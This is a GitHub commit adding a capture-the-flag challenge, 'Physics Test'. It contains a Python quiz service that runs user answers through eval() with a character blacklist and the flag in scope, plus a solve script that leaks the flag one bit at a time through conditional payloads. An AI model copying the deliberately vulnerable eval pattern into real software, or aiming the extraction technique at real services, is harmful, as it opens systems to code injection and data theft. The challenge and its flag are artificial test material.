Skip to content
This repository has been archived by the owner on Jun 11, 2024. It is now read-only.

Commit

Permalink
misc/physics-test (#12)
Browse files Browse the repository at this point in the history
* Begin physics-test

* dockerfile + deploy port

* redirect stderr to stdout

* cooking

* fix

* ban spaces too

* fix deployment stuff

---------

Co-authored-by: glacialcascade <11969863+glacialcascade@users.noreply.github.com>
  • Loading branch information
mud-ali and glacialcascade authored Apr 21, 2024
1 parent 52f4498 commit 6bd7bf8
Show file tree
Hide file tree
Showing 5 changed files with 165 additions and 0 deletions.
27 changes: 27 additions & 0 deletions physics-test/Dockerfile
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
FROM --platform=linux/amd64 ubuntu:20.04 AS build

RUN apt-get update -y && apt-get install -y gcc && apt-get install -y wget && apt-get install -y unzip && rm -rf /var/lib/apt/lists/*

RUN wget -O ynetd.c https://raw.githubusercontent.com/johnsonjh/ynetd/master/ynetd.c \
&& gcc -o ynetd ynetd.c


FROM --platform=linux/amd64 python:3.12-slim-bookworm AS deployer

RUN useradd -m -d /home/ctf -u 12345 ctf
WORKDIR /home/ctf

# copy over ynetd
COPY --from=build ynetd ynetd
RUN chmod +x ynetd

# copy over source and set permissions
COPY physics-test.py physics-test.py
COPY flag.txt .

RUN chown -R root:root /home/ctf

# run and expose
USER ctf
EXPOSE 8148
CMD ["./ynetd", "-p", "8148", "python3 physics-test.py 2>&1"]
18 changes: 18 additions & 0 deletions physics-test/chall.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,18 @@
name: Physics Test
categories:
- misc
value: 100
flag:
file: ./flag.txt
description: |-
Help me get an A in Physics! My teacher made this review program for us.
hints:
- How is the program checking your answer? After all, it's possible to write a correct answer in multiple ways (e.g. x+y vs y+x vs 0+x+y, etc).
- What information/feedback do you get from each question? How can you use it to your advantage?
authors:
- Marvin
visible: true
deploy:
nc:
build: .
expose: 8148/tcp
1 change: 1 addition & 0 deletions physics-test/flag.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
bcactf{yoU_p4ssED_b0ef030870ec18}
39 changes: 39 additions & 0 deletions physics-test/physics-test.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,39 @@
from random import randint, choice

flag = open("flag.txt", "r").read()

def clear():
print("\n\n---------------------------------------------------------------------\n\n")
print("Welcome to the Midterm Review!")
print("This review will test your knowledge of physics formulas we have learned this unit.")
print("Be sure to write all of your answers in terms of x and y!")
clear()

questions = [("Question {}: A box starts at rest on a frictionless table. It has a constant acceleration of x. How far does it travel in y seconds?", "x*y*y/2"),
("Question {}: A spring has a spring constant of x. If it is compressed by a distance of y, what is the magnitude of the restoring force? (Your answer should be positive.)", "x*y"),
("Question {}: A red ball (with mass 1kg and velocity x) and a blue ball (with mass 2kg and velocity y) collide perfectly inelastically. What is the final velocity of the two balls?", "(x+2*y)/3"),]

i = 0
while True:
i += 1
q = choice(questions)
print(q[0].format(i))
answer = input("Answer: ")
for char in ".=_{}'\" " :
if char in answer:
print(f"Dangerous character ({char})!")
exit()
print("Running tests...")

for _ in range(10):
x = randint(0, 100)
y = randint(0, 100)
expected = eval(q[1], {'__builtins__': None, 'ord': ord, 'len': len}, {'x': x, 'y': y, 'flag': flag})
res = eval(answer, {'__builtins__': None, 'ord': ord, 'len': len}, {'x': x, 'y': y, 'flag': flag})
if expected != res:
print(f"TEST FAILED!")
break
if _ == 9:
print(f"Good job!")
break
clear()
80 changes: 80 additions & 0 deletions physics-test/solve.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,80 @@
from pwn import *

# running on local machine
# replace this with remote url
# p = process(['python3', 'physics-test.py'])
p = remote('localhost', 8148)

# answers for each of the problems
answers = [
(b"A box", "x*y*y/2"),
(b"A spring", "x*y"),
(b"A red ball", "(x+2*y)/3")
]

# Putting some random spam into the input,
# we get an error message which shows this snippet of code:
# res = eval(answer, {'__builtins__': None}, {'x': x, 'y': y, 'flag': flag})
# We can see that the flag is being passed to the eval function
# From each question, we get one bit of data, based on whether
# our input is equivalent to the expected output or not
# So, we can design our input so that it equals the correct
# output only when some certain thing about our flag is true.

# First, we get the flag length with binary search
# (We see that len and ord are allowed, but = is not)
# so it encourages binary search
f_len_min = 0
f_len_max = 100
while f_len_min != f_len_max:
guess = (f_len_min + f_len_max) // 2

line = p.recvline_contains(b"Question")
print(line)
# We look up the question to find the appropriate answer
for (q, ans) in answers:
if q in line:
payload = f"(-1,{ans})[len(flag)>{guess}]".encode()
print(payload)
# Note that the way this payload works,
# this will evaluate to the correct answer if and only if
# len(flag) > guess (if not, it will evaluate to -1)
# Thus we can determine this info about the flag based on
# whether the output is "TEST FAILED!" or "Good job!"
p.sendlineafter(b"Answer: ", payload)
break
line = p.recvline_contains(b"!")
print(line)
if b"Good job!" in line:
f_len_min = guess + 1
else:
f_len_max = guess
print(f_len_min, f_len_max)
# p.interactive()

# We now have our length
# Now we binary search to get each byte of the flag one at a time, same thing
f_len = f_len_min
flag = ""

for i in range(f_len):
char_min = 0
char_max = 256
while char_min != char_max:
guess = (char_min + char_max) // 2

line = p.recvline_contains(b"Question")
print(line)
for (q, ans) in answers:
if q in line:
payload = f"(-1,{ans})[ord(flag[{i}])>{guess}]".encode()
p.sendlineafter(b"Answer: ", payload)
break
line = p.recvline_contains(b"!")
print(line)
if b"Good job!" in line:
char_min = guess + 1
else:
char_max = guess
flag += chr(char_min)
print(flag)

0 comments on commit 6bd7bf8

Please sign in to comment.